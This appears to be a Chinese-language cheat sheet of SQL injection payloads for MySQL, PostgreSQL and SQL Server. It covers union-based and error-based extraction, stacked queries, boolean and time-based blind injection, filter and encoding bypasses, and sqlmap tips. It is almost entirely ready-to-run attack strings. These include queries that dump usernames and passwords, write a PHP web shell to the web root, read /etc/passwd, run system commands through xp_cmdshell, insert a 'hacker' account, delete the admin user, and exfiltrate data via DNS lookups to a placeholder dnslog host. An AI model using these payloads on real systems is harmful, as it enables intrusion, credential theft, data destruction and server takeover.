常见SQL注入PAYLOAD
联合查询注入
字段数量探测
1" order by 1--+ -- 字段数量探测，从1开始递增测试临界值
1" order by 100--+ -- 测试字段数上限，出现错误即达临界值
联合数据读取
-1" union select 1,2,3--+ -- 用-1让原始查询无结果，便于展示联合查询数据
数据库信息获取
-1" union select 1,database(),3--+ -- 当前数据库名
-1" union select 1,version(),3 from information_schema.tables--+ -- 数据库版本
-1" union select 1,user(),3--+ -- 当前数据库用户
-1" union select 1,@@version_compile_os,3--+ -- 操作系统信息
数据枚举
-1" union select 1,group_concat(col1,0x3a,col2),3 from dbName.tableName--+ -- 读取指定列数据
适配特殊场景
1%df' union select 1,database(),3--+ -- 宽字节注入（GBK编码场景）
1 union select 1,version(),3--+ -- 无引号注入场景
1' union/**/select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x64767761--+ -- 16进制编码绕过
1" union select NULL,NULL,concat(col1,0x20,col2) from dbName.tableName--+ -- NULL填充不确定字段类型
1' UNIOn SEleCT 1,current_user(),3--+ -- 大小写混合绕过关键字过滤
报错注入
extractvalue函数注入
1" or extractvalue(1,concat(0x3a,(select database())))--+
1" or extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema like 'dbName')))--+
1" or extractvalue(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name like 'tableName')))--+
1" or extractvalue(1,concat(0x7e,(select left(colName,30) from dbName.tableName)))--+
1" or extractvalue(1,concat(0x7e,(select right(colName,30) from dbName.tableName)))--+
updatexml函数注入
1' or updatexml(1,concat(0x7e,database(),0x7e),1)--
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dbName' limit 1,1),0x7e),1)--
1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dbName' and table_name='tableName' limit 1,1),0x7e),1)--
1' or updatexml(1,concat(0x7e,(select concat(uname,0x3a,pwd) from users limit 1,1),0x7e),1)--
BigInt类型溢出注入
1' and exp(~(select * from (select current_user())tmp))--
1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 2,1)tmp))--
1' and exp(~(select * from (select column_name from information_schema.columns where table_name='tableName' limit 2,1)tmp))--
1' and exp(~(select * from (select colName from tableName limit 2,1)tmp))--
floor函数注入
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.columns group by x)tmp)--
MySQL特殊函数报错
1' and name_const((select database()),1)--+
1' and geometrycollection((select * from (select database())a))--+
1' and multipoint((select concat(table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1))--+
1' and polygon((select concat(column_name,0x7e) from information_schema.columns where table_name='users' limit 0,1))--+
1' and linestring((select concat(uname,0x3a,pwd) from users limit 0,1))--+
1' and multilinestring((select version()))--+
跨数据库报错
1' and convert(int,(select db_name()))--+ -- SQL Server
1' and (select cast((select table_name from information_schema.tables limit 0,1) as int))--+ -- PostgreSQL/MySQL
堆叠注入
基础信息查询
1"; show databases;--
1"; show tables from dbName;--
1"; show columns from tableName;--
表结构操作
1"; RENAME TABLE t1TOt2; RENAME TABLE t3TOt1; ALTER TABLE t1CHANGEc1 c2 VARCHAR(200); show columns from t1;--
数据读取（select被禁时）
1"; HANDLER tableNameOPEN; HANDLERtableNameREAD NEXT; HANDLERtableName CLOSE;--
文件操作
1"; select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';--+
1"; load_file('/etc/passwd');--+
1'; copy (select '<?php phpinfo();?>') to '/var/www/shell.php';--+ -- PostgreSQL
数据/结构修改
1"; insert into users(uname,pwd) values('hacker','123456');--+
1"; delete from users where uname='admin';--+
1"; create table hack_table(id int,cmd varchar(100));--+
SQL Server专属
1'; exec xp_cmdshell('whoami');--+ -- 执行系统命令
盲注
布尔盲注基础
id=1" AND (SELECT COUNT(*) FROM users) > 0--
id=1" AND SUBSTR((SELECT version()),1,1) = '8'--
id=1" AND ASCII(SUBSTR((SELECT pwd FROM users WHERE uname='admin'),1,1)) = 104--
id=1" AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='test') > 5--
id=1" AND LENGTH((SELECT database())) = 8--
时间盲注基础
id=1"; IF((SELECT COUNT(*) FROM users) > 0, SLEEP(3), NULL)--
id=1"; IF((SELECT ASCII(SUBSTR((SELECT pwd FROM users WHERE uname='admin'),1,1))) = 104, BENCHMARK(8000000, MD5('x')), NULL)--
id=1"; IF(EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='test' AND table_name='users'), BENCHMARK(6000000, SHA1('x')), NULL)--
id=1"; IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') = 4, SLEEP(3), NULL)--
id=1"; IF((SELECT SUM(LENGTH(uname)) FROM users) > 30, BENCHMARK(4000000, MD5('x')), NULL)--
错误型盲注
id=1" UNION SELECT 1,table_name,3 FROM information_schema.tables where table_schema='test'--
id=1" UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
id=1" UNION SELECT uname,pwd,3 FROM users where uname='admin'--
id=1'; SELECT uname,pwd FROM users WHERE role='admin' --
id=1'; SELECT group_concat(col1,col2) FROM test.table1 --
布尔盲注进阶
-- 数据库信息探测
1' and length(database()) < 15 #
1' and ascii(substr(database(),2,1)) > 95#
-- 表信息探测
1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 8#
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 12#
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) < 110 #
-- 列信息探测
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') = 5#
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1)) = 8 #
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) = 117 #
-- 字段数据探测
1' and length(substr((select uname from users limit 0,1),1)) = 6#
1' and ascii(substr((select uname from users limit 0,1),2,1)) = 109 #
时间盲注进阶
1' and if(length(database())=8,sleep(3),1) #
1' and if(ascii(substr(database(),1,1))=116,sleep(3),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(3),1) #
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='test' limit 0,1) = 101 and sleep(3)#
1' and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' limit 0,1)=117,sleep(3),1) #
布尔盲注新函数
1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^u'#
1' and (select column_name from information_schema.columns where table_name='users' limit 0,1) like 'pa%'#
1' and bit_length(database())=32#
时间盲注跨数据库
1'; WAITFOR DELAY '0:0:5'-- -- SQL Server
1' and pg_sleep(5)--+ -- PostgreSQL
1' and if((select uname from users limit 0,1)='admin',sleep(5),0)#
DNSlog盲注
1' and load_file(concat('\\\\',(select database()),'.xxx.dnslog.cn\\a'))--+
1' and (select load_file(concat('\\\\',hex((select table_name from information_schema.tables limit 0,1)),'.xxx.dnslog.cn\\b')))--+
1'; exec master..xp_dirtree '\\\\(select db_name()).xxx.dnslog.cn\\c';-- -- SQL Server
特殊场景注入
二次注入
-- 注册用户名：admin'#
-- 登录时触发：1' and uname='admin'#--+
过滤绕过注入
1'%0aand%0a(ascii(substr(database(),1,1)))=100%0a# -- 用%0a（换行符）替代空格[citation:10]
1'and(select*from(select sleep(5))a)# -- 用子查询包裹sleep绕过函数过滤
1'and(select count(*)from information_schema.tables where table_schema=database()and table_name regexp '^u')>0# -- 嵌套子查询绕过括号过滤
PostgreSQL专属注入
1' union select 1,(select current_database()),3--+
1' and (select 1 from pg_tables where tablename like 'user%')--+
无列名注入
1' union select 1,(select * from (select * from users as a join users as b on a.id=b.id)c limit 0,1),3--+
宽字节/编码绕过注入
1%e5' union select 1,version(),3--+ -- UTF-8宽字节注入
1' and unhex('6461746162617365')=database()# -- 16进制解码
1' union select 1,from_base64('ZGF0YWJhc2U='),3--+ -- base64解码
1" and char(100)=substr(database(),1,1)--+ -- char函数构造字符
1' and concat_ws(',',col1,col2) regexp 'admin'# -- 字段拼接判断
权限/配置探测注入
1' and (select super_priv from mysql.user where user=current_user())='Y'#
1' union select 1,@@datadir,3--+
1' union select 1,@@secure_file_priv,3--+
1'; select @@version_compile_os;--
1' and (select count(*) from mysql.user)>=5#
各数据库文件读写汇总
不同数据库的文件操作存在差异，MySQL、PostgreSQL和MSSQL的常见文件读写方法：
| 数据库类型 | 读文件函数 | 写文件函数 | 执行命令 | 权限要求 |
|---|---|---|---|---|
| MySQL | load_file() |
into outfile/dumpfile |
通过UDF或写Webshell | FILE权限，secure_file_priv设置 |
| PostgreSQL | pg_read_file() |
copy to |
通过扩展如pg_exec |
超级用户权限 |
| MSSQL | OpenRowset |
差异备份/日志注入 | xp_cmdshell |
sa等高级权限 |
sqlmap实战技巧补充
- Level与Risk参数：使用
--level 3（检测更多参数，如Referer）和--risk 2（增加OR注入测试）可提升检测能力。 - 特定注入技术：若怀疑存在布尔盲注但默认未检测出，可指定
--technique B并配合--level 5进行更深入的测试。 - POST注入与Content-Type：某些情况下，即使接口通常使用GET，尝试以
multipart/form-data或application/json等Content-Type发送POST请求，可能绕过某些防护或触发注入。
常用过滤绕过速查
| 过滤项 | 绕过方式 | 示例 |
|---|---|---|
| 空格 | 注释/**/、换行符%0a、括号() |
union/**/select |
| 引号 | 十六进制编码 | name=0x736964696f74 (sidiot的十六进制) |
| 逗号 | from for（用于substr）、join |
substr(database() from 1 for 1) |
| 比较符 | like, rlike, regexp |
where id like 1 |
| 常用函数 | 使用等价函数 | benchmark()代替sleep() |